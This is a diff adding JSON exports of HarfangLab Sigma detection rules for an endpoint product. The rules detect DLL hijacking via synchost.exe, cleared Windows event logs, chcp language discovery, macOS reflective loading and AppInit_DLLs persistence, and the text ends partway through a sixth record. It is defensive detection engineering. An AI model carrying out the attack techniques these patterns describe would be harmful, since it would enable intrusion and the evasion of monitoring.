+}
+{
+  "id": "1d3f9140-d12e-4ac2-ae0f-302dc6ba9c21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.099280Z",
+  "creation_date": "2026-03-23T11:45:34.099282Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.099286Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_synchost.yml",
+  "content": "title: DLL Hijacking via synchost.exe\nid: 1d3f9140-d12e-4ac2-ae0f-302dc6ba9c21\ndescription: |\n    Detects potential Windows DLL Hijacking via synchost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'synchost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\policymanager.dll'\n            - '\\PROPSYS.dll'\n            - '\\USERENV.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1d3f9140-d12e-4ac2-ae0f-302dc6ba9c21",
+  "rule_name": "DLL Hijacking via synchost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via synchost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1d42a517-fd7d-4aa1-bdea-8bb23464d866",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627863Z",
+  "creation_date": "2026-03-23T11:45:34.627866Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627886Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1070/001/"
+  ],
+  "name": "t1070_001_clear_windows_application_log_no_process.yml",
+  "content": "title: Windows Application Log Cleared\nid: 1d42a517-fd7d-4aa1-bdea-8bb23464d866\ndescription: |\n    Detects when one of the Windows application logs is cleared by an unknown process.\n    Windows Event Logs are a record of a computer's alerts and notifications.\n    Adversaries may clear Windows Event Logs to hide the activity of an intrusion.\n    It is recommended to investigate the process responsible for this action as well as to look for suspicious activities on the host preceding the clearing of the logs.\nreferences:\n    - https://attack.mitre.org/techniques/T1070/001/\ndate: 2026/01/15\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 104\n        Source: Microsoft-Windows-Eventlog\n\n    # This is handled by the rule 43a740ac-2e54-4653-84a7-349b469a0a35\n    filter_process:\n        ProcessImage|contains: '?'\n\n    exclusion_channel:\n        Channel:\n            - 'ModemAuthenticatorLog'\n            - 'Microsoft-Exchange-ManagedAvailability/ThrottlingConfig'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1d42a517-fd7d-4aa1-bdea-8bb23464d866",
+  "rule_name": "Windows Application Log Cleared",
+  "rule_description": "Detects when one of the Windows application logs is cleared by an unknown process.\nWindows Event Logs are a record of a computer's alerts and notifications.\nAdversaries may clear Windows Event Logs to hide the activity of an intrusion.\nIt is recommended to investigate the process responsible for this action as well as to look for suspicious activities on the host preceding the clearing of the logs.\n",
+  "rule_creation_date": "2026-01-15",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1d5ccdaa-b937-4d62-a941-fc69637a870a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605699Z",
+  "creation_date": "2026-03-23T11:45:34.605702Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605710Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/09cef802316c0db576963b2742b506a9f274f4ae/atomics/T1614.001/T1614.001.md",
+    "https://attack.mitre.org/techniques/T1614/001/",
+    "https://attack.mitre.org/techniques/T1480/"
+  ],
+  "name": "t1614_001_system_language_discovery_chcp.yml",
+  "content": "title: System Language Discovered via chcp\nid: 1d5ccdaa-b937-4d62-a941-fc69637a870a\ndescription: |\n    Detects the identification of the system language using the chcp utility.\n    Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.\n    It is recommended to analyze the parent process to look for malicious content or other suspicious actions.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/09cef802316c0db576963b2742b506a9f274f4ae/atomics/T1614.001/T1614.001.md\n    - https://attack.mitre.org/techniques/T1614/001/\n    - https://attack.mitre.org/techniques/T1480/\ndate: 2022/12/23\nmodified: 2025/10/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1480\n    - attack.discovery\n    - attack.t1614\n    - attack.t1614.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'CHCP.COM'\n        CommandLine: 'chcp'\n\n    exclusion_programfiles:\n        GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_grandparent:\n        GrandparentImage:\n            - '?\\Users\\\\*\\AppData\\Local\\Ankama\\Retro\\Dofus Retro.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\RingCentral\\RingCentral.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\oz-client\\Poly Lens.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\shadow\\Shadow.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\RealtimeBoard\\\\*\\Miro.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\gitkraken\\app-*\\gitkraken.exe'\n            - '?:\\Windows\\Prey\\versions\\\\*\\bin\\node.exe'\n            - '*\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Blitz\\Blitz.exe'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Sky\\Sky Go\\Sky Go.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\monsisraapp\\MonSisra2.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\monsisra\\MonSisra2.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\MonSisra2\\MonSisra2.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Program Files\\NSClient++\\nscp.exe'\n            - '\\UCMDB\\DataFlowProbe\\bin\\jre\\bin\\discovery_probe.exe|'\n            - '?:\\Program Files\\GLPI-Agent\\perl\\bin\\glpi-agent.exe'\n            - '?:\\Program Files (x86)\\CheckPoint\\Endpoint Connect\\openmail.exe'\n\n    exclusion_commandline:\n        - ParentCommandLine:\n            - '?:\\windows\\system32\\cmd.exe /d /s /c chcp'\n            - '?:\\Windows\\System32\\cmd.exe /D /C chcp'\n            - 'cmd.exe /x/d/c chcp'\n            - 'cmd.exe /d /s /c chcp'\n        - GrandparentCommandLine:\n            - '?:\\WINDOWS\\system32\\cmd.exe /d /c ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*.bat'\n            - '?:\\windows\\system32\\cmd.exe /d /c ?:\\ProgramData\\\\*\\\\*.bat'\n            - '?:\\windows\\system32\\cmd.exe /d /c ?:\\windows\\TEMP\\\\*\\\\*.bat'\n            - '?:\\Windows\\System32\\cmd.exe /c *\\Bruker\\TopSpin*\\\\*'\n\n    exclusion_parsys:\n        CurrentDirectory|contains: 'parsys'\n        GrandparentImage|endswith: '\\station.exe'\n\n    exclusion_smadmin:\n        ParentCommandLine|contains: '\\SMadmin\\'\n\n    exclusion_anaconda:\n        - GrandparentCommandLine|contains: '\\anaconda'\n        - Ancestors|contains:\n            - '\\anaconda3\\Scripts\\conda.exe|'\n            - '\\Anaconda\\Scripts\\conda.exe|'\n            - '\\miniconda\\Scripts\\conda.exe|'\n            - '\\miniconda3\\Scripts\\conda.exe|'\n\n    exclusion_vray:\n        CurrentDirectory|contains: '\\V-Ray\\'\n\n    exclusion_googlecloud:\n        CurrentDirectory|contains: '\\Google\\Cloud SDK\\'\n\n    exclusion_autodesk:\n        GrandparentImage|endswith: '\\Autodesk Installer.exe'\n\n    exclusion_varian:\n        GrandparentCommandLine|contains:\n            - '?:\\Program Files\\Varian\\'\n            - '?:\\Program Files (x86)\\Varian\\'\n\n    exclusion_unity:\n        CurrentDirectory|startswith:\n            - '?:\\Program Files\\Unity\\Hub\\Editor\\'\n            - '?:\\Program Files (x86)\\Unity\\Hub\\Editor\\'\n\n    exclusion_postgres:\n        GrandparentCommandLine: '?:\\windows\\system32\\cmd.exe /c ?:\\Program Files\\PostgreSQL\\\\??\\scripts\\runpsql.bat'\n\n    exclusion_discord:\n        ParentCommandLine: '?:\\windows\\system32\\cmd.exe /d /s /c chcp'\n        GrandparentCommandLine:\n            - '*\\Discord\\app-*\\Discord.exe'\n            # Discord.exe --overlay-host\n            - '*\\Discord\\app-*\\Discord.exe *'\n\n    exclusion_node:\n        - ProcessGrandparentOriginalFileName: 'node.exe'\n        - Ancestors|contains: '|?:\\Program Files\\nodejs\\node.exe|'\n\n    exclusion_schedule:\n        - GrandparentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - ProcessParentGrandparentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1d5ccdaa-b937-4d62-a941-fc69637a870a",
+  "rule_name": "System Language Discovered via chcp",
+  "rule_description": "Detects the identification of the system language using the chcp utility.\nAdversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.\nIt is recommended to analyze the parent process to look for malicious content or other suspicious actions.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-10-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1480",
+    "attack.t1614",
+    "attack.t1614.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1d9e6035-5064-4ba3-8bf6-1759b2641f54",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598091Z",
+  "creation_date": "2026-03-23T11:45:34.598097Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598110Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f",
+    "https://attack.mitre.org/techniques/T1620/"
+  ],
+  "name": "t1620_reflective_loading_file.yml",
+  "content": "title: Suspicious Executable Reflective Loading File Created\nid: 1d9e6035-5064-4ba3-8bf6-1759b2641f54\ndescription: |\n    Detects the creation of a specific file related to reflective binary execution on macOS.\n    Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads.\n    It is recommended to check for malicious activities by the process creating the file.\nreferences:\n    - https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f\n    - https://attack.mitre.org/techniques/T1620/\ndate: 2024/04/03\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1620\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.Behavior.MemoryExecution\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection:\n        Path|contains: '/NSCreateObjectFileImageFromMemory-'\n        Kind: 'create'\n        ProcessImage|contains: '?'\n\n    exclusion_common_folders:\n        ProcessImage|startswith:\n            - '/System/Library/'\n            - '/Library/Application Support/'\n            - '/library/frameworks/'\n            - '/Applications/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1d9e6035-5064-4ba3-8bf6-1759b2641f54",
+  "rule_name": "Suspicious Executable Reflective Loading File Created",
+  "rule_description": "Detects the creation of a specific file related to reflective binary execution on macOS.\nAdversaries may reflectively load code into a process in order to conceal the execution of malicious payloads.\nIt is recommended to check for malicious activities by the process creating the file.\n",
+  "rule_creation_date": "2024-04-03",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1620"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1dff2e4d-9edd-4b48-af83-6c559ea3e9c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075932Z",
+  "creation_date": "2026-03-23T11:45:34.075934Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075938Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2020/01/07/persistence-appinit-dlls/",
+    "https://attack.mitre.org/techniques/T1546/010/"
+  ],
+  "name": "t1546_010_persistence_registry_appinit_dlls.yml",
+  "content": "title: Registry AppInit DLLs Modified\nid: 1dff2e4d-9edd-4b48-af83-6c559ea3e9c5\ndescription: |\n    Detects the modification of the AppInit_DLLs or LoadAppInit_DLLs keys in registry.\n    Attackers may establish persistence by loading malicious libraries (DLL) via AppInit DLLs.\n    This functionality allows custom libraries (DLL) to be loaded into the address space of every process that loads user32.dll.\n    It is recommended to analyze the process responsible for the registry and the library pointed to by the registry value to look for malicious content or actions.\nreferences:\n    - https://pentestlab.blog/2020/01/07/persistence-appinit-dlls/\n    - https://attack.mitre.org/techniques/T1546/010/\ndate: 2020/09/24\nmodified: 2025/05/19\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.010\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_registry:\n        EventType: SetValue\n\n    selection_loadappinit:\n        TargetObject:\n            - 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\LoadAppInit_DLLs'\n            - 'HKLM\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\LoadAppInit_DLLs'\n\n    filter_loadappinit:\n        # For LoadAppInit_DLLs all values != zero are valid\n        Details: 'DWORD (0x00000000)'\n\n    selection_key_appinit:\n        TargetObject:\n            - 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs'\n            - 'HKLM\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs'\n\n    selection_key_requiresignedappinit:\n        TargetObject:\n            - 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\RequireSignedAppInit_DLLs'\n            - 'HKLM\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\RequireSignedAppInit_DLLs'\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_empty:\n        Details:\n            - '(Empty)'\n            - ''\n            - '\\n'\n\n    exclusion_nvidia_appinit:\n        TargetObject|endswith: '\\AppInit_DLLs'\n        Image:\n            - '?:\\Windows\\System32\\nvvsvc.exe'\n            - '?:\\Windows\\System32\\DriverStore\\FileRepository\\\\*\\Display.NvContainer\\NVDisplay.Container.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NVIDIA Corporation'\n\n    exclusion_nvidia_loadappInit:\n        TargetObject|endswith: '\\LoadAppInit_DLLs'\n        Image:\n            - '?:\\Windows\\System32\\nvvsvc.exe'\n            - '?:\\Program Files\\NVIDIA Corporation\\Display.NvContainer\\NVDisplay.Container.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NVIDIA Corporation'\n\n    exclusion_sophos_appinit:\n        TargetObject|endswith: '\\AppInit_DLLs'\n        Details:\n            - '?:\\Windows\\SysWOW64\\SophosAV\\SOPHOS~?.DLL'\n            - '?:\\WINDOWS\\system32\\SophosAV\\SOPHOS~?.DLL'\n            - '?:\\PROGRA~?\\Sophos\\SOPHOS~?\\SOPHOS~?.DLL'\n            - '?:\\PROGRA~?\\Citrix\\System32\\mfaphook64.dll,?:\\Windows\\system32\\SophosAV\\SOPHOS~?.DLL'\n            - '?:\\PROGRA~?\\Citrix\\System32\\mfaphook.dll,?:\\Windows\\SysWOW64\\SophosAV\\SOPHOS~?.DLL'\n            - '?:\\Windows\\System32\\SophosAV\\sophos_detoured_x64.dll'\n            - '?:\\PROGRA~?\\Sophos\\SOPHOS~?\\SOPHOS~?.DLL,?:\\PROGRA~?\\Sophos\\SOPHOS~?\\\\?SOPHOS~?.DLL'\n            - '?:\\PROGRA~?\\Sophos\\SOPHOS~?\\\\?SOPHOS~?.DLL'\n\n    exclusion_sophos_loadappinit:\n        TargetObject|endswith: '\\LoadAppInit_DLLs'\n        Image:\n            - '?:\\ProgramData\\Sophos\\AutoUpdate\\Cache\\sophos_autoupdate?.dir\\ALUpdate.exe'\n            - '?:\\ProgramData\\Sophos\\AutoUpdate\\Cache\\sophos_autoupdate?.dir\\su-setup32.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Sophos Limited'\n            - 'Sophos Ltd'\n\n    exclusion_appsense:\n        TargetObject|endswith: '\\AppInit_DLLs'\n        Image: '?:\\Program Files\\AppSense\\Environment Manager\\Agent\\EmCoreService.exe'\n\n    # Equitrac Office Client\n    exclusion_equitrac:\n        TargetObject|endswith: '\\AppInit_DLLs'\n        Image: '?:\\Windows\\System32\\msiexec.exe'\n        Details: 'EQPortMonitorSpy.dll'\n\n    exclusion_msi_install_loadappinit:\n        TargetObject|endswith: '\\LoadAppInit_DLLs'\n        Details: 'DWORD (0x00000001)'\n        ProcessCommandLine:\n            - '?:\\Windows\\syswow64\\MsiExec.exe -Embedding * E Global\\MSI0000'\n            - '?:\\Windows\\system32\\MsiExec.exe -Embedding * E Global\\MSI0000'\n        ProcessParentCommandLine: '?:\\WINDOWS\\system32\\msiexec.exe /V'\n\n    exclusion_nvidia_hp:\n        TargetObject|endswith: '\\AppInit_DLLs'\n        ProcessImage|contains: '\\Display.NvContainer\\NVDisplay.Container.exe'\n        Details:\n            - '?:\\PROGRA~?\\HP\\SURECL~?\\servers\\BemHook32.dll'\n            - '?:\\PROGRA~?\\HP\\SURECL~?\\servers\\BemHook.dll'\n\n    exclusion_citrix:\n        TargetObject|endswith: '\\AppInit_DLLs'\n        Details:\n            - '?:\\PROGRA~?\\Citrix\\System32\\mfaphook64.dll'\n            - '?:\\PROGRA~?\\Citrix\\System32\\mfaphook.dll'\n            - '?:\\progra~?\\citrix\\system32\\radeaphook.dll'\n            - '?:\\progra~?\\citrix\\system32\\radeaphook64.dll'\n\n    exclusion_setupplatform:\n        TargetObject|endswith: '\\AppInit_DLLs'\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\setupplatform.exe'\n\n    exclusion_greenprint:\n        # ce0cd8e9ad34b85bd164a60a4a5de5cee895353d8520cf14923399d1001aa3e1\n        Details: '?:\\Progra~?\\Greenp~?\\gphknt32.dll'\n\n    exclusion_altiris:\n        - ProcessImage: '?:\\Program Files\\Altiris\\Altiris Agent\\AeXNSAgent.exe'\n          TargetObject:\n            - 'HKLM\\software\\microsoft\\windows nt\\currentversion\\windows\\loadappinit_dlls'\n            - 'HKLM\\software\\wow6432node\\microsoft\\windows nt\\currentversion\\windows\\loadappinit_dlls'\n          Details: 'DWORD (0x00000001)'\n        - ProcessImage: '?:\\Program Files\\Altiris\\Altiris Agent\\AeXNSAgent.exe'\n          TargetObject:\n            - 'HKLM\\software\\microsoft\\windows nt\\currentversion\\windows\\appinit_dlls'\n            - 'HKLM\\software\\wow6432node\\microsoft\\windows nt\\currentversion\\windows\\appinit_dlls'\n          Details:\n            - 'aminit64.dll'\n            - 'aminit32.dll'\n\n    exclusion_virtualdesktop:\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n        Details: '?:\\PROGRA~?\\VIRTUA~?\\VIRTUA~?.DLL'\n\n    exclusion_systrack:\n        ProcessImage: '?:\\Program Files (x86)\\SysTrack\\LsiAgent\\LsiAgent.exe'\n\n    condition: selection_registry and ((selection_loadappinit and not filter_loadappinit) or 1 of selection_key_*) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1dff2e4d-9edd-4b48-af83-6c559ea3e9c5",
+  "rule_name": "Registry AppInit DLLs Modified",
+  "rule_description": "Detects the modification of the AppInit_DLLs or LoadAppInit_DLLs keys in registry.\nAttackers may establish persistence by loading malicious libraries (DLL) via AppInit DLLs.\nThis functionality allows custom libraries (DLL) to be loaded into the address space of every process that loads user32.dll.\nIt is recommended to analyze the process responsible for the registry and the library pointed to by the registry value to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-09-24",
+  "rule_modified_date": "2025-05-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.010"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1e085ad6-7f93-463c-9238-b75582736135",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072911Z",
+  "creation_date": "2026-03-23T11:45:34.072913Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072918Z",
+  "rule_level": "high",
